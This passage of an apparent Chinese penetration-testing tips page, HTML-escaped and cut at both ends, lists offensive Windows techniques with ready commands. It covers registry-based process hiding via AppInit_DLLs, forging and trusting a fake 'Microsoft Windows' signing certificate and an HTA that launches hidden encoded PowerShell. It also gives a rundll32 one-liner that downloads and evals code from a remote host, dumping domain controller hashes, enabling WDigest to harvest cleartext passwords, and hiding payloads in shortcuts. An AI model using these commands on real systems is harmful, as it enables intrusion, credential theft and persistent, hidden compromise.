    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8API-NtQueryInformationThread%E5%92%8CI_QueryTagInformation%E5%AE%9E%E7%8E%B0%E5%AF%B9Windwos%E6%97%A5%E5%BF%97%E7%9B%91%E6%8E%A7%E7%9A%84%E7%BB%95%E8%BF%87/"&gt;《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 6. Win7和Windows Server 2008 R2下的进程隐藏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用globalAPIhooks，通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载工程：https://github.com/subTee/AppInitGlobalHooks-Mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改代码指定要隐藏的程序名cldr.exe，编译成cldr.dll，cldr.dll放在&lt;code&gt;C:\ProgramData\Microsoft\HelpLibrary\&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;此时，任务管理器进程列表不存在cldr.exe，Process Explorer不存在cldr.exe，Tasklist.exe不存在cldr.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于64位系统：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8globalAPIhooks%E5%9C%A8Win7%E7%B3%BB%E7%BB%9F%E4%B8%8B%E9%9A%90%E8%97%8F%E8%BF%9B%E7%A8%8B/"&gt;《利用globalAPIhooks在Win7系统下隐藏进程》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_8" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 7. 同名exe和com文件执行顺序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果一个路径下同时包含同名的exe和com文件，例如test.exe和test.com，通过命令行cmd输入test(不包含文件后缀名)，会优先运行com文件，即test.com&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;而COM文件的生成只需要把exe文件的后缀名改为com即可&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_9" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 8. Windows系统证书生成与注册&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书生成与签名：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件，test.exe被加上数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书注册：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限cmd，将证书添加到localmachine：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certmgr.exe -add -c Root.cer -s -r localmachine root&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_10" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 9.  hta执行vbs，加载powershell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;test.hta：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&amp;lt;HTML&amp;gt; 
&amp;lt;HEAD&amp;gt; 
&amp;lt;script language="VBScript"&amp;gt;
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true
&amp;lt;/script&amp;gt;
&amp;lt;HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize"&amp;gt;
&amp;lt;/HEAD&amp;gt; 
&amp;lt;BODY&amp;gt; 
&amp;lt;/BODY&amp;gt; 
&amp;lt;/HTML&amp;gt; &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Bypass McAfee Application Control——Code Execution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_11" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 10. 通过c#编写dll &amp;amp; 通过rundll32.exe或者regsvr32加载dll&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;默认情况下，c#不可以声明导出函数，但可通过添加UnmanagedExports实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，通过c#编写的dll，dll需要在对应版本的.NET环境才能正常运行，通过c++编写的dll更加通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过rundll32.exe或者regsvr32能够加载dll，但要求dll包含特定的导出函数&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_12" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 11. Windows下cpl文件介绍&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;本质上是DLL文件，后缀名为cpl，包含一个导出函数CPLApplet(c实现可不指定)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)双击直接运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 shell32.dll,Control_RunDLL test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;control test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(4)vbs&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(5)js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《CPL文件利用介绍》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_13" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Server:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Client:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，该RAT工具还可通过以下方法加载：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;vbs，js，exe，dll，shellcode&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Backdoor》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《JavaScript Phishing》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_14" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 13. 可通过内存dump还原出putty&amp;amp;pageant的密钥&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;windows和Linux均适用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Memory Dump利用实例》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_15" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 14. 针对Visual Studio的钓鱼利用&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual C++：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vcxproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual Basic：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.vbproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Visual F#：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;修改.fsproj文件
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio对以上任一工程编译时，能够执行任意代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Pay close attention to your download code——Visual Studio trick to run code when building》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_16" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 15. 32位程序在64位Windows系统下执行的时候，如果有对注册表和文件的操作，存在重定向&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对注册表操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对文件操作：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32\&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《关于32位程序在64位系统下运行中需要注意的重定向问题》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_17" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 16. 获取Windows域控所有用户hash&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_18" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制ntds.dit：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用NinjaCopy，https://github.com/3gstudent/NinjaCopy&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;导出hash：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用quarkspwdump，https://github.com/quarkslab/quarkspwdump&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c：\test\ntds.dit -o c：\test\log.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_19" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用powershell：DSInternals PowerShell Module&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用条件：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows PowerShell 3.0 or 3.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;.NET Framework 4.0 or 4.0+&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《导出当前域内所有用户hash的技术整理》&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《利用Powershell快速导出域控所有用户Hash》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_20" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 17. 导出Windows系统明文口令&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows Server 2012默认无法使用mimikatz导出明文口令，部分Windows Server 2008也一样&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解决方法：启用Wdigest Auth&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;cmd:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;or&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;重启或者用户再次登录，能够导出明文口令&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Dump Clear-Text Password after KB2871997 installed》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_21" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，可选择保存在本地或是将密码上传至服务器&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Hook PasswordChangeNotify》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_22" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果管理员疏忽，域内主机使用相同的本地管理员账号，可以通过pass-the-hash远程登录域内其他主机&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《域渗透——Local Administrator Password Solution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_23" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 20. 通过powershell获取dll的导出函数&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_24" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 21. 快捷方式的参数隐藏技巧&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload放置在260个空字符之后，这样无法在文件属性查看payload，可以用来在快捷方式中隐藏payload，欺骗用户点击，隐蔽执行代码&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%BF%AB%E6%8D%B7%E6%96%B9%E5%BC%8F%E6%96%87%E4%BB%B6%E7%9A%84%E5%8F%82%E6%95%B0%E9%9A%90%E8%97%8F%E6%8A%80%E5%B7%A7/"&gt;《渗透技巧——快捷方式文件的参数隐藏技巧》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_25" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 22. 32位程序能够对64位进程进行远程注入&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/32%E4%BD%8D%E7%A8%8B%E5%BA%8F%E5%AF%B964%E4%BD%8D%E8%BF%9B%E7%A8%8B%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%B3%A8%E5%85%A5%E5%AE%9E%E7%8E%B0/"&gt;《32位程序对64位进程的远程注入实现》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_26" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 23. system权限的进程在某些情况下需要进行降权&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用sytem权限的进程可能会遇到以下问题:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.无法获得当前用户的文件内容&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;例如无法捕获用户的屏幕&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.环境变量有差异&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;因此需要降权到当前用户&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法1：使用SelectMyParent.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码下载地址：https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/"&gt;《渗透技巧——程序的降权启动》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;降权方法2：使用msdtc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
